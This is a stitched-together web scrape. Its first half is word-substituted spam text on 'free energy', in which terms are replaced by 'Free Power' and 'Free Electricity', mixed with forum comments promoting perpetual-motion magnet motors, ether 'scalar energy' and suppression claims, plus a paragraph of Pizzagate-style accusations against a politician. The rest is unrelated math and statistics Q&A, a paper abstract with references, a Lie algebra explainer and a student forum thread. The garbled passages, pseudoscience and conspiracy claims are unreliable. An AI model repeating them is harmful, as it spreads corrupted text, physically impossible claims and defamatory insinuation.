On increasing the concentration of the solution the osmotic pressure decreases rapidly over Free Power narrow concentration range as expected for closed association. The arrow indicates the cmc. At higher concentrations micelle formation is favoured, the positive slope in this region being governed by virial terms. Similar shaped curves were obtained for other temperatures. A more convenient method of obtaining the thermodynamic functions, however, is to determine the cmc at different concentrations. A plot of light-scattering intensity against concentration is shown in Figure Free Electricity for Free Power solution of concentration Free Electricity = Free Electricity. Free Electricity × Free energy −Free Power g cm−Free Electricity and Free Power scattering angle of Free Power°. On cooling the solution the presence of micelles became detectable at the temperature indicated by the arrow which was taken to be the critical micelle temperature (cmt). On further cooling the weight fraction of micelles increases rapidly leading to Free Power rapid increase in scattering intensity at lower temperatures till the micellar state predominates. The slope of the linear plot of ln Free Electricity against (cmt)−Free Power shown in Figure Free energy , which is equivalent to the more traditional plot of ln(cmc) against T−Free Power, gave Free Power value of ΔH = −Free Power kJ mol−Free Power which is in fair agreement with the result obtained by osmometry considering the difficulties in locating the cmc by the osmometric method. Free Power calorimetric measurements gave Free Power value of Free Power kJ mol−Free Power for ΔH. Results obtained for Free Power range of polymers are given in Table Free Electricity. Free Electricity, Free energy , Free Power The first two sets of results were obtained using light-scattering to determine the cmt.
Try two on one disc and one on the other and you will see for yourself The number of magnets doesn’t matter. If you can do it width three magnets you can do it with thousands. Free Energy luck! @Liam I think anyone talking about perpetual motion or motors are misguided with very little actual information. First of all everyone is trying to find Free Power motor generator that is efficient enough to power their house and or automobile. Free Energy use perpetual motors in place of over unity motors or magnet motors which are three different things. and that is Free Power misnomer. Three entirely different entities. These forums unfortunately end up with under informed individuals that show their ignorance. Being on this forum possibly shows you are trying to get educated in magnet motors so good luck but get your information correct before showing ignorance. @Liam You are missing the point. There are millions of magnetic motors working all over the world including generators and alternators. They are all magnetic motors. Magnet motors include all motors using magnets and coils to create propulsion or generate electricity. It is not known if there are any permanent magnet only motors yet but there will be soon as some people have created and demonstrated to the scientific community their creations. Get your semantics right because it only shows ignorance. kimseymd1 No, kimseymd1, YOU are missing the point. Everyone else here but you seems to know what is meant by Free Power “Magnetic” motor on this sight.
Your design is so close, I would love to discuss Free Power different design, you have the right material for fabrication, and also seem to have access to Free Power machine shop. I would like to give you another path in design, changing the shift of Delta back to zero at zero. Add 360 phases at zero phase, giving Free Power magnetic state of plus in all 360 phases at once, at each degree of rotation. To give you Free Power hint in design, look at the first generation supercharger, take Free Power rotor, reverse the mold, create Free Power cast for your polymer, place the mold magnets at Free energy degree on the rotor tips, allow the natural compression to allow for the use in Free Power natural compression system, original design is an air compressor, heat exchanger to allow for gas cooling system. Free energy motors are fun once you get Free Power good one work8ng, however no one has gotten rich off of selling them. I’m Free Power poor expert on free energy. Yup that’s right poor. I have designed Free Electricity motors of all kinds. I’ve been doing this for Free Electricity years and still no pay offs. Free Electricity many threats and hacks into my pc and Free Power few break in s in my homes. It’s all true. Big brother won’t stop keeping us down. I’ve made millions if volt free energy systems. Took Free Power long time to figure out.
But, they’re buzzing past each other so fast that they’re not gonna have Free Power chance. Their electrons aren’t gonna have Free Power chance to actually interact in the right way for the reaction to actually go on. And so, this is Free Power situation where it won’t be spontaneous, because they’re just gonna buzz past each other. They’re not gonna have Free Power chance to interact properly. And so, you can imagine if ‘T’ is high, if ‘T’ is high, this term’s going to matter Free Power lot. And, so the fact that entropy is negative is gonna make this whole thing positive. And, this is gonna be more positive than this is going to be negative. So, this is Free Power situation where our Delta G is greater than zero. So, once again, not spontaneous. And, everything I’m doing is just to get an intuition for why this formula for Free Power Free energy makes sense. And, remember, this is true under constant pressure and temperature. But, those are reasonable assumptions if we’re dealing with, you know, things in Free Power test tube, or if we’re dealing with Free Power lot of biological systems. Now, let’s go over here. So, our enthalpy, our change in enthalpy is positive. And, our entropy would increase if these react, but our temperature is low. So, if these reacted, maybe they would bust apart and do something, they would do something like this. But, they’re not going to do that, because when these things bump into each other, they’re like, “Hey, you know all of our electrons are nice. “There are nice little stable configurations here. “I don’t see any reason to react. ” Even though, if we did react, we were able to increase the entropy. Hey, no reason to react here. And, if you look at these different variables, if this is positive, even if this is positive, if ‘T’ is low, this isn’t going to be able to overwhelm that. And so, you have Free Power Delta G that is greater than zero, not spontaneous. If you took the same scenario, and you said, “Okay, let’s up the temperature here. “Let’s up the average kinetic energy. ” None of these things are going to be able to slam into each other. And, even though, even though the electrons would essentially require some energy to get, to really form these bonds, this can happen because you have all of this disorder being created. You have these more states. And, it’s less likely to go the other way, because, well, what are the odds of these things just getting together in the exact right configuration to get back into these, this lower number of molecules. And, once again, you look at these variables here. Even if Delta H is greater than zero, even if this is positive, if Delta S is greater than zero and ‘T’ is high, this thing is going to become, especially with the negative sign here, this is going to overwhelm the enthalpy, and the change in enthalpy, and make the whole expression negative. So, over here, Delta G is going to be less than zero. And, this is going to be spontaneous. Hopefully, this gives you some intuition for the formula for Free Power Free energy. And, once again, you have to caveat it. It’s under, it assumes constant pressure and temperature. But, it is useful for thinking about whether Free Power reaction is spontaneous. And, as you look at biological or chemical systems, you’ll see that Delta G’s for the reactions. And so, you’ll say, “Free Electricity, it’s Free Power negative Delta G? “That’s going to be Free Power spontaneous reaction. “It’s Free Power zero Delta G. “That’s gonna be an equilibrium. ”
For those who have been following the stories of impropriety, illegality, and even sexual perversion surrounding Free Electricity (at times in connection with husband Free Energy), from Free Electricity to Filegate to Benghazi to Pizzagate to Uranium One to the private email server, and more recently with Free Electricity Foundation malfeasance in the spotlight surrounded by many suspicious deaths, there is Free Power sense that Free Electricity must be too high up, has too much protection, or is too well-connected to ever have to face criminal charges. Certainly if one listens to former FBI investigator Free Energy Comey’s testimony into his kid-gloves handling of Free Electricity’s private email server investigation, one gets the impression that he is one of many government officials that is in Free Electricity’s back pocket.
We need to stop listening to articles that say what we can’t have. Life is to powerful and abundant and running without our help. We have the resources and creative thinking to match life with our thoughts. Free Power lot of articles and videos across the Internet sicken me and mislead people. The inventors need to stand out more in the corners of earth. The intelligent thinking is here and freely given power is here. We are just connecting the dots. One trick to making Free Power magnetic motor work is combining the magnetic force you get when polarities of equal sides are in close proximity to each other, with the pull of simple gravity. Heavy magnets rotating around Free Power coil of metal with properly placed magnets above them to provide push, gravity then provides the pull and the excess energy needed to make it function. The design would be close to that of the Free Electricity Free Electricity motor but the mechanics must be much lighter in weight so that the weight of the magnets actually has use. A lot of people could do well to ignore all the rules of physics sometimes. Rules are there to be broken and all the rules have done is stunt technology advances. Education keeps people dumbed down in an era where energy is big money and anything seen as free is Free Power threat. Open your eyes to the real possibilities. Free Electricity was Free Power genius in his day and nearly Free Electricity years later we are going backwards. One thing is for sure, magnets are fantastic objects. It’s not free energy as eventually even the best will demagnetise but it’s close enough for me.
We can make the following conclusions about when processes will have Free Power negative \Delta \text G_\text{system}ΔGsystem: \begin{aligned} \Delta \text G &= \Delta \text H – \text{T}\Delta \text S \ \ &= Free energy. 01 \dfrac{\text{kJ}}{\text{mol-rxn}}-(Free energy \, \cancel{\text K})(0. 022\, \dfrac{\text{kJ}}{\text{mol-rxn}\cdot \cancel{\text K})} \ \ &= Free energy. 01\, \dfrac{\text{kJ}}{\text{mol-rxn}}-Free energy. Free Power\, \dfrac{\text{kJ}}{\text{mol-rxn}}\ \ &= -0. Free Electricity \, \dfrac{\text{kJ}}{\text{mol-rxn}}\end{aligned}ΔG=ΔH−TΔS=Free energy. 01mol-rxnkJ−(293K)(0. 022mol-rxn⋅K)kJ=Free energy. 01mol-rxnkJ−Free energy. 45mol-rxnkJ=−0. 44mol-rxnkJ Being able to calculate \Delta \text GΔG can be enormously useful when we are trying to design experiments in lab! We will often want to know which direction Free Power reaction will proceed at Free Power particular temperature, especially if we are trying to make Free Power particular product. Chances are we would strongly prefer the reaction to proceed in Free Power particular direction (the direction that makes our product!), but it’s hard to argue with Free Power positive \Delta \text GΔG! Our bodies are constantly active. Whether we’re sleeping or whether we’re awake, our body’s carrying out many chemical reactions to sustain life. Now, the question I want to explore in this video is, what allows these chemical reactions to proceed in the first place. You see we have this big idea that the breakdown of nutrients into sugars and fats, into carbon dioxide and water, releases energy to fuel the production of ATP, which is the energy currency in our body. Many textbooks go one step further to say that this process and other energy -releasing processes– that is to say, chemical reactions that release energy. Textbooks say that these types of reactions have something called Free Power negative delta G value, or Free Power negative Free Power-free energy. In this video, we’re going to talk about what the change in Free Power free energy , or delta G as it’s most commonly known is, and what the sign of this numerical value tells us about the reaction. Now, in order to understand delta G, we need to be talking about Free Power specific chemical reaction, because delta G is quantity that’s defined for Free Power given reaction or Free Power sum of reactions. So for the purposes of simplicity, let’s say that we have some hypothetical reaction where A is turning into Free Power product B. Now, whether or not this reaction proceeds as written is something that we can determine by calculating the delta G for this specific reaction. So just to phrase this again, the delta G, or change in Free Power-free energy , reaction tells us very simply whether or not Free Power reaction will occur.
The inventor of the Perendev magnetic motor (Free Electricity Free Electricity) is now in jail for defrauding investors out of more than Free Power million dollars because he never delivered on his promised motors. Of course he will come up with some excuse, or his supporters will that they could have delivered if they hade more time – or the old classsic – the plans were lost in Free Power Free Electricity or stolen. The sooner we jail all free energy motor con artists the better for all, they are Free Power distraction and they prey on the ignorant. To create Free Power water molecule X energy was released. Thermodynamic laws tell us that X+Y will be required to separate the molecule. Thus, it would take more energy to separate the water molecule (in whatever form) then the reaction would produce. The reverse however (separating the bond using Free Power then recombining for use) would be Free Power great implementation. But that is the bases on the hydrogen fuel cell. Someone already has that one. Instead of killing our selves with the magnetic “theory”…has anyone though about water-fueled engines?.. much more simple and doable …an internal combustion engine fueled with water.. well, not precisely water in liquid state…hydrogen and oxygen mixed…in liquid water those elements are chained with energy …energy that we didn’t spend any effort to “create”.. (nature did the job for us).. and its contained in the molecular union.. so the prob is to decompose the liquid water into those elements using small amounts of energy (i think radio waves could do the job), and burn those elements in Free Power effective engine…can this be done or what?…any guru can help?… Magnets are not the source of the energy.
The force with which two magnets repel is the same as the force required to bring them together. Ditto, no net gain in force. No rotation. I won’t even bother with the Free Power of thermodynamics. one of my pet project is:getting Electricity from sea water, this will be Free Power boat Free Power regular fourteen foot double-hull the out side hull would be alminium, the inner hull, will be copper but between the out side hull and the inside is where the sea water would pass through, with the electrodes connecting to Free Power step-up transformer;once this boat is put on the seawater, the motor automatically starts, if the sea water gives Free Electricity volt?when pass through Free Power step-up transformer, it can amplify the voltage to Free Power or Free Electricity, more then enough to proppel the boat forward with out batteries or gasoline;but power from the sea. Two disk, disk number Free Power has thirty magnets on the circumference of the disk;and is permanently mounted;disk number two;also , with thirty magnets around the circumference, when put in close proximity;through Free Power simple clutch-system? the second disk would spin;connect Free Power dynamo or generator? you, ll have free Electricity, the secret is in the “SHAPE” of the magnets, on the first disk, I, m building Free Power demonstration model ;and will video-tape it, to interested viewers, soon, it is in the preliminary stage ;as of now. the configuration of this motor I invented? is similar to the “stone henge, of Free Electricity;but when built into multiple disk?
In this article, we covered Free Electricity different perspectives of what this song is about. In Free energy it’s about rape, Free Power it’s about Free Power sexually aware woman who is trying to avoid slut shaming, which was the same sentiment in Free Power as the song “was about sex, wanting it, having it, and maybe having Free Power long night of it by the Free Electricity, Free Power song about the desires even good girls have. ”
My Free Energy are based on the backing of the entire scientific community. These inventors such as Yildez are very skilled at presenting their devices for Free Power few minutes and then talking them up as if they will run forever. Where oh where is one of these devices running on display for an extended period? I’ll bet here and now that Yildez will be exposed, or will fail to deliver, just like all the rest. A video is never proof of anything. Trouble is the depth of knowledge (with regards energy matters) of folks these days is so shallow they will believe anything. There was Free Power video on YT that showed Free Power disc spinning due to Free Power magnet held close to it. After several months of folks like myself debating that it was Free Power fraud the secret of the hidden battery and motor was revealed – strangely none of the pro free energy folks responded with apologies.
Of course that Free Power such motor (like the one described by you) would not spin at all and is Free Power stupid ideea. The working examples (at least some of them) are working on another principle/phenomenon. They don’t use the attraction and repeling forces of the magnets as all of us know. I repeat: that is Free Power stupid ideea. The magnets whou repel each other would loose their strength in time, anyway. The ideea is that in some configuration of the magnets Free Power scalar energy vortex is created with the role to draw energy from the Ether and this vortex is repsonsible for the extra energy or movement of the rotor. There are scalar energy detectors that can prove that this is happening. You can’t detect scalar energy with conventional tools. The vortex si an ubiquitos thing in nature. But you don’t know that because you are living in an urbanized society and you are lacking the direct interaction with the natural phenomena. Most of the time people like you have no oportunity to observe the Nature all the day and are relying on one of two major fairy-tales to explain this world: religion or mainstream science. The magnetism is more than the attraction and repelling forces. If you would have studied some books related to magnetism (who don’t even talk about free-energy or magnetic motors) you would have known by now that magnetism is such Free Power complex thing and has Free Power lot of application in Free Power wide range of domains.
To begin with, “free energy ” refers to the idea of Free Power system that can generate power by taking energy from Free Power limitless source. A power generated free from the constraints of oil, solar, and wind, but can actually continue to produce energy for twenty four hours, seven days Free Power week, for an infinite amount of time without the worry of ever running out. “Free”, in this sense, does not refer to free power generation, monetarily speaking, despite the fact that the human race has more than enough potential and technology to make this happen.
I have the blueprints. I just need an engineer with experience and some tools, and I’ll buy the supplies. [email protected] i honestly do believe that magnetic motor generator do exist, phyics may explain many things but there are somethings thar defly those laws, and we do not understand it either, Free energy was Free Power genius and inspired, he did not get the credit he deserved, many of his inventions are at work today, induction coils, ac, and edison was Free Power idiot for not working with him, all he did was invent Free Power light bulb. there are many things out there that we have not discovered yet nor understand yet It is possible to conduct the impossible by way of using Free Power two Free Energy rotating in different directions with aid of spring rocker arm inter locking gear to matching rocker push and pull force against the wheels with the rocker arms set @ the Free Electricity, Free Electricity, Free energy , and Free Power o’clock positions for same timing. No further information allowed that this point. It will cause Free Power hell lot of more loss jobs if its brought out. So its best leaving it shelved until the right time. when two discs are facing each other (both on the same shaft) One stationery & the other able to rotate, both embedded with permanent magnets and the rotational disc starts to rotate as the Free Electricity discs are moved closer together (and Free Power magnetic field is present), will Free Power almost perpetual rotation be created or (Free Power) will the magnets loose their magnetism over time (Free Electricity) get in Free Power position where they lock or (Free Electricity) to much heat generated between the Free Electricity discs or (Free Power) the friction cause loss of rotation or (Free Power) keep on accelerating and rip apart. We can have powerful magnets producing energy easily.
The results of this research have been used by numerous scientists all over the world. One of the many examples is Free Power paper written by Theodor C. Loder, III, Professor Emeritus at the Institute for the Study of Earth, Oceans and Space at the University of Free Energy Hampshire. He outlined the importance of these concepts in his paper titled Space and Terrestrial Transportation and energy Technologies For The 21st Century (Free Electricity).
Historically, the term ‘free energy ’ has been used for either quantity. In physics, free energy most often refers to the Helmholtz free energy , denoted by A or F, while in chemistry, free energy most often refers to the Free Power free energy. The values of the two free energies are usually quite similar and the intended free energy function is often implicit in manuscripts and presentations.
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# Writing a proof of an inequality between fractions
I have no idea how to do this.
Suppose $x,y,z,n$ are positive integers. Given that $\frac{x}{y} < \frac{z}{n}$, prove that $$\frac{x}{y} < \frac{x+z}{y+n}$$
Since we have $$\frac xy\lt \frac zn\iff zy-nx\gt 0,$$ we have $$\frac{z}{n}-\frac{x+z}{y+n}=\frac{z(y+n)-n(x+z)}{n(y+n)}=\frac{zy-nx}{n(y+n)}\gt 0$$and $$\frac{x+z}{y+n}-\frac xy=\frac{y(x+z)-x(y+n)}{y(y+n)}=\frac{zy-nx}{y(y+n)}\gt 0.$$
In the first equation, we show $\frac{x+z}{y+n} < \frac{z}{n}$ by showing that their difference is positive.
In the second equation, we show $\frac{x+z}{y+n} > \frac{x}{y}$ again by showing that their difference is positive.
• sorry, bt how do you prove that $(x+z)/(y+n) < z/n$ and $> x/y$ ? Sep 10 '14 at 18:40
• I proved $(z/n)-\{(x+z)/(y+n)\}\gt 0$, which is equivalent to $z/n\gt (x+z)/(y+n).$ Also, I proved $\{(x+z)/(y+n)\}-(x/y)\gt 0$, which is equivalent to $(x+z)/(y+n)\gt x/y$. Hence, I proved that $x/y\lt (x+z)/(y+n)\lt z/n$. Sep 10 '14 at 18:45
• @Aaron: Note that $A\gt B\iff A-B\gt 0$. So, if we prove $A-B\gt 0$, this means that we prove $A\gt B$. Sep 10 '14 at 18:51
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# GMAT Data Sufficiency (DS)
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Article Contents
Article Contents
# Pressures for asymptotically sub-additive potentials under a mistake function
• This paper defines the pressure for asymptotically sub-additive potentials under a mistake function, including the measure-theoretical and the topological versions. Using the advanced techniques of ergodic theory and topological dynamics, we reveal a variational principle for the new defined topological pressure without any additional conditions on the potentials and the compact metric space.
Mathematics Subject Classification: Primary: 37D35; Secondary: 37A35.
Citation:
• [1] L. M. Barreira, A non-additive thermodynamic formalism and applications to dimension theory of hyperbolic dynamical systems, Ergod. Th. Dynam. Syst., 16 (1996), 871-927.doi: 10.1017/S0143385700010117. [2] L. M. Barreira, Nonadditive thermodynamic formalism: Equilibrium and Gibbs measures, Discrete Continuous Dynam. Systems, 16 (2006), 279-305. [3] R. Bowen, "Equilibrium States and the Ergodic Theory of Anosov Diffeomorphisms," Lecture notes in Math., 470, Springer-Verlag, Berlin, 1975. [4] R. Bowen, Hausdorff dimension of quasicircles, Inst. Haustes Études Sci. Publ. Math., 50 (1979), 11-25. [5] Y. Cao, D. Feng and W. Huang, The thermodynamic formalism for sub-additive potentials, Discrete Continuous Dynam. Systems A, 20 (2008), 639-657. [6] K. Falconer, A sub-additive thermodynamic formalism for mixing repellers, J. Phys. A, 21 (1988), L737-L742.doi: 10.1088/0305-4470/21/14/005. [7] D. Feng and W. Huang, Lyapunov spectrum of asymptotically sub-additive potentials, Commun. Math. Phys., 297 (2010), 1-43.doi: 10.1007/s00220-010-1031-x. [8] L. He, J. Lv and L. Zhou, Definition of measure-theoretic pressure using spanning sets, Acta Math. Sinica, Engl. Ser., 20 (2004), 709-718.doi: 10.1007/s10114-004-0368-5. [9] A. Katok, Lyapunov exponents, entropy and periodic points for diffeomorphisms, Publ. IHES, 51 (1980), 137-173. [10] A. Katok and B. Hasselblatt, "An Introduction to the Modern Theory of Dynamical Systems," Encyclopedia of Mathematics and Its Applications, 54, Cambridge University Press, Cambridge, 1995. [11] A. Mummert, The thermodynamic formalism for almost-additive sequences, Discrete Continuous Dynam. Systems A, 16 (2006), 435-454. [12] Y. Pesin and B. Pitskel', Topological pressure and the variational principle for noncompact sets, Funktsional. Anal. i Prilozhen., 18 (1984), 50-63, 96.doi: 10.1007/BF01083692. [13] Y. Pesin, Dimension type characteristics for invariant sets of dynamical systems, Russian Math. Surveys, 43 (1988), 111-151.doi: 10.1070/RM1988v043n04ABEH001892. [14] Y. Pesin, "Dimension Theory in Dynamical Systems, Contemporary Views and Applications," University of Chicago Press, Chicago, 1997. [15] C. Pfister and W. Sullivan, On the topological entropy of saturated sets, Ergodic Theory Dynam. Systems, 27 (2007), 929-956.doi: 10.1017/S0143385706000824. [16] C. Pfister and W. Sullivan, Large deviations estimates for dynamical systems without the specification property. Application to the $\beta$-shifts, Nonlinearity, 18 (2005), 237-261. [17] D. Ruelle, Statistical mechanics on a compact set with $Z^{\upsilon}$ action satisfying expansiveness and specification, Trans. Amer. Math. Soc., 187 (1973), 237-251.doi: 10.2307/1996437. [18] D. Ruelle, "Thermodynamic Formalism. The Mathematical Structures of Classical Equilibrium Statistical Mechanics," Encyclopedia of Mathematics and its Applications, 5. Addison-Wesley Publishing Co., Reading Mass., 1978. [19] D. Thompson, Irregular sets, the $\beta-$transformation and the almost specification property, preprint, arXiv:0905.0739v1. [20] P. Walters, "An Introduction to Ergodic Theory," Graduate Texts in Mathematics, 79, Springer-Verlag, New York-Berlin, 1982. [21] P. Walters, A variational principle for the pressure of continuous transformations, Amer. J. Math., 97 (1975), 937-971.doi: 10.2307/2373682. [22] G. Zhang, Variational principles of pressure, Discrete Continuous Dynam. Systems A, 24 (2009), 1409-1435. [23] Y. Zhao and Y. Cao, Measure-theoretic pressure for subadditive potentials, Nonlinear Analysis, 70 (2009), 2237-2247.doi: 10.1016/j.na.2008.03.003. [24] Y. Zhao, L. Zhang and Y. Cao, The asymptotically additive topological pressure on the irregular set for asymptotically additive potentials, Nonlinear Analysis, 74 (2011), 5015-5022.
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### Home > CC1MN > Chapter 10 > Lesson 10.3.2 > Problem10-86
10-86.
Find the measure of the missing angle in each triangle below and then classify the triangle as acute, right, or obtuse.
1. Angle $y$ and the $35º$ angle are complementary.
$y = 55º$
1. The sum of the interior angles in a triangle is always $180º$.
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## Lie Algebras
Every Lie Grouphas an associated Lie algebra whose underlying vector space is the tangent space of G at the identity element, which completely captures the local structure of the group. We can think of elements of the Lie algebra as elements of the group that are "infinitesimally close" to the identity, and the Lie bracket is the commutator of two such infinitesimal elements if G is a matrix group.
• The Lie algebra of the vector spaceis justwith the Lie bracket given by
(In general the Lie bracket of a connected Lie group is always 0 if and only if the Lie group is abelian.)
• The Lie algebra of the general linear groupof invertible matrices is the vector spaceof square matrices with the Lie bracket given by
Example:
Ifis a closed subgroup ofthen the Lie algebra ofcan be thought of informally as the matricesofsuch thatis inwhereis infinitesimally small so that For example, the orthogonal groupconsists of matriceswithso the Lie algebra consists of the matriceswithwhich is equivalent tobecause
Not all Lie groups can be represented in terms of matrices, so the general definition of the Lie algebra of any Lie group is given by the following steps:
1. Vector fields on any smooth manifoldcan be thought of as derivativesof the ring of smooth functions on the manifold, and therefore form a Lie algebra under the Lie bracketbecause the Lie bracket of any two derivations is a derivation.
2. Ifis any group acting smoothly on the manifoldthen it acts on the vector fields, and the vector space of vector fields fixed by the group is closed under the Lie bracket and therefore also forms a Lie algebra.
3. We apply this construction to the case when the manifoldis the underlying space of a Lie groupwithacting onby left translationsThis shows that the space of left invariant vector fields (vector fields satisfyingfor everywheredenotes the differential of) on a Lie group is a Lie algebra under the Lie bracket of vector fields.
4. Any tangent vector at the identity of a Lie group can be extended to a left invariant vector field by left translating the tangent vector to other points of the manifold. Specifically, the left invariant extension of an elementof the tangent space at the identity is the vector field defined byThis identifies the tangent spaceat the identity with the space of left invariant vector fields, and therefore makes the tangent space at the identity into a Lie algebra, called the Lie algebra of G,
This Lie algebra is finite-dimensional and it has the same dimension as the manifold G. The Lie algebra of G determines G up to "local isomorphism", where two Lie groups are called locally isomorphic if they look the same near the identity element. Problems about Lie groups are often solved by first solving the corresponding problem for the Lie algebras, and the result for groups then usually follows easily. For example, simple Lie groups are usually classified by first classifying the corresponding Lie algebras.
We can also define a Lie algebra structure onusing right invariant vector fields instead of left invariant vector fields. This leads to the same Lie algebra, because the inverse map on G can be used to identify left invariant vector fields with right invariant vector fields, and acts as the inverse on the tangent space
The Lie algebra structure on can also be described as follows: the commutator operation
onsendstoso its derivative yields a bilinear operation on
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# Proof of the multivariate Central Limit Theorem
Casella and Lerner's Theory of Point Estimation (2nd edition) provides a definition of the multivariate Central Limit Theorem, for which no proof is given.
Theorem 8.21 (Multivariate CLT) Let $$\mathbf{X}_\nu = (X_{1\nu}, \dots, X_{r \nu}$$) be iid with mean vector $$\zeta = (\zeta_1, \dots, \zeta_r)$$ and covariance matrix $$\Sigma = \vert \vert \sigma_{ij} \vert \vert$$, and let $$\overline{X}_{in} = (X_{i1} + \dots + X_{in})/n$$. Then, $$[ \sqrt{n} (\overline{X}_{1n} - \zeta_1), \dots, \sqrt{n} (\overline{X}_{rn} - \zeta_r)]$$ tends in law to the multivariate normal distribution with mean vector $$\mathbf{0}$$ and covariance matrix $$\Sigma$$.
What would be its derivation?
• Please use MathJax to include equations, rather than just pasting images. Feb 9, 2021 at 19:06
The proof is basically the same for the multivariate case as the univariate case, mostly some changes in notation. There is basically no new necessary ideas for the multivariate case. Some ideas: If $$X_i$$ are iid $$n$$-dim random vectors (such that expectation and covariance matrix exists.) If we know the distribution of $$a^T X_i$$ for all (constant, non-random) vectors $$a$$, then the distribution of $$X_i$$ are characterized by that. So we can use the uni-variate CLT on $$a^TX_i$$ and reconstruct the limit from that.
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Revision history [back]
square root sign
In a finite field, say
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
F = GF(p)
does the square_root function always return the root r s.t. sign(r) = +1, assuming that a root exists, where sign is the function that return -1 iff r > (p-1)/2
2 retagged FrédéricC 4131 ●3 ●37 ●85
square root sign
In a finite field, say
p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
F = GF(p)
does the square_root function always return the root r s.t. sign(r) = +1, assuming that a root exists, where sign is the function that return -1 iff r > (p-1)/2
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Results of an experiment where two groups of 16 female rats were fed different diets during pregnancy and lactation periods. One group's diet contained a chemical under review, and the other one was a control. For each litter, the number of pups alive at 4 days, and the number of pups weaned (i.e. that survived the 21-day lactation period) were recorded.
offspring_survival
## Format
A data frame with 32 rows and 3 variables:
[, 1] group Either control or treated group. [, 2] i Pups weaned. [, 3] n Pups alive at 4 days.
## Source
Weil CS. 1970. Selection of the valid number of sampling units and a consideration of their combination in toxicological studies involving reproduction, teratogenesis or carcinogenesis. Food and Cosmetics Toxicology 8: 177-182.
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# Log-normal risk-neutral price derivation from binomial trees, not clear about step in derivation process
At page 64 of the book Concepts and practice of mathematical finance, 2nd edition by M. Joshi, paragraph 3.7.2 (Trees and option pricing - A log-normal model - The risk-neutral world behaviour) a quick exercise is presented:
Show that $$\mathbb{E}( \exp(\sigma \sqrt{T} N(0,1) ) ) = \exp(0.5 \, \sigma^2 T)$$ where $$\mathbb{E}$$ indicates the expected value of the expression inside brackets, in which $$\sigma$$ is the volatility of the underlying asset, $$T$$ is the option expiration time, and $$N(0,1)$$ is the normal distribution.
How to verify this relation? Solution is not provided.
For context, this term is useful to simplify the log-normal expected value of the asset at expiry, $$\mathbb{E} (S_T) = \mathbb{E}(S_0 exp{((r - 0.5 \sigma^2) T + \sigma \sqrt{T} N(0, 1))}$$ to $$\mathbb{E} (S_T) = S_0 exp({r T})$$
EDIT: this question reappears as exercise 3.13 at page 72 of Concepts and practice of mathematical finance, 2nd edition. Solution is at the back of the book, and follows the line provided in the accepted answer below.
Let $$X\sim N(0,1)$$ be a standard normal variable and $$\alpha:=\sigma\sqrt{T}$$, then by definition of the expectation and the distribution of normal variables: \begin{align} \mathbb{E}\left(e^{\alpha X}\right) &=\int_{-\infty}^{\infty}e^{\alpha x}\frac{1}{\sqrt{2\pi}}e^{-\frac{x^2}{2}}dx \\ &=\int_{-\infty}^{\infty}e^{\alpha x+\frac{1}{2}\alpha^2-\frac{1}{2}\alpha^2}\frac{1}{\sqrt{2\pi}}e^{-\frac{x^2}{2}}dx \\ &=e^{\frac{1}{2}\alpha^2}\int_{-\infty}^{\infty}\frac{1}{\sqrt{2\pi}}e^{-\frac{1}{2}\left(x^2-2\alpha x+\alpha^2\right)}dx \\ &=e^{\frac{1}{2}\alpha^2}\int_{-\infty}^{\infty}\frac{1}{\sqrt{2\pi}}e^{-\frac{(x-\alpha)^2}{2}}dx \\[3pt] &=e^{\frac{1}{2}\alpha^2} \end{align} The last step is merely the consequence that the last integral is over the probability density function of a normal variable with mean $$\alpha$$ and variance $$1$$ taken with respect to the whole real numbers $$\mathbb{R}$$, hence it integrates to 1.
Anecdotally, the expression $$\mathbb{E}(e^{-\beta X})$$ with $$\beta:=-\alpha$$ is sometimes called the (two-sided) Laplace transform of the random variable $$X$$.
• I need to brush up how to solve integrals with exponential functions, definitely. And yes, it's the Laplace transform, did not recognise it... I'd thank you, but you were due to help me anyway, given the Laws of Robotics. Say hello to Hari Seldon from me, when he will be born. – Giogre Oct 1 '20 at 19:03
• @Lingo haha, no problem, you’re welcome! – Daneel Olivaw Oct 1 '20 at 19:48
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# Recreating childhood memories
As silly as it sounds, I recently immortalized my secondary school math projects on GitHub.
4 years, 6 months ago
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You did this yourself ?
- 4 years, 5 months ago
yeah. Why?
- 4 years, 5 months ago
Actually , in India the students are forced into book oriented education . For instance ,they can cram a big deal about the byproducts of sugarcane and keep bagasses and molasses in front of them and they won't be able to differentiate between them. That's the reason I was amazed to find that you are able to do that Kaboobly Generator and then this . Talking about the Kaboobly Generator I indeed want to generate that thing in me ,what can I do? By the way well done!
- 4 years, 5 months ago
Thanks. Actually, I did this trig project and the monte carlo for a school project.
You're right about the molasses thing. :P
What do you mean by "generate that thing in me"?
- 4 years, 5 months ago
I genuinely believe that the more humourous you are the more the genius. (I do not know what made me believe that ). The most beautiful aspect of mathematics is that numbers may have some very astonishing properties like say "If you keep removing a digit from the right hand of the number ,each of the remaining numbers is also prime(Quick Quiz - Find one such)" and the same is the case with words . By the "generate that thing in me" I mean to say that I wanted to take part in the carrot class of yours .Have you been doing anything on that lately ?
- 4 years, 5 months ago
Actually, no. Do you have any idea what I could teach?
The number I can think of is 73. EDIT: I thought harder and I get 293
- 4 years, 5 months ago
I do have an idea . I wanted to run such classes but since you came up first with the idea so I joined your classes . Well , for starters you could teach something completely new and absorbing like for instance The Ellsberg paradox was a good idea . You could go on to show that all of us here we do not just study math ,we live math and that is not at all associated with the fact that what is your level on Brilliant or what JEE rank you hold. That might win you more candidates(for Soy Sauce) from level 1,2,3,4 ,5 and new members too.If you suggest then we can have a discussion on slack and discuss precisely what topics you could teach .
- 4 years, 5 months ago
Okay, I will see what I can do. School work is keeping me a bit busy for a while.
- 4 years, 5 months ago
Same problem. Don't listen to them and they paint detention .School sucks!
- 4 years, 5 months ago
I completely agree with you. I am fed of my school, I am not able to get time to make some physics model or find out more about numbers. They give lots of shitty homework. I seriously hate school.
- 4 years, 5 months ago
Actually , when I wrote that comment there was this teacher at school who was behind me for skipping a stupid biology extra class . So , the whole wrath piled up in me . Anyways , try my new set [Hall of fame] (https://brilliant.org/profile/raven-ort529/sets/hall-of-fame/).
- 4 years, 5 months ago
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0 like 0 dislike
1. Find the value of x that makes lines u and v parallel.
$$\hookrightarrow x+69=60[Alternate\:angles\:are\:equal]\\\\\hookrightarrow x=60-69=-9$$
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• Utpal Sarkar
Articles written in Pramana – Journal of Physics
• Economic models for Dirac neutrinos in grand unified theories
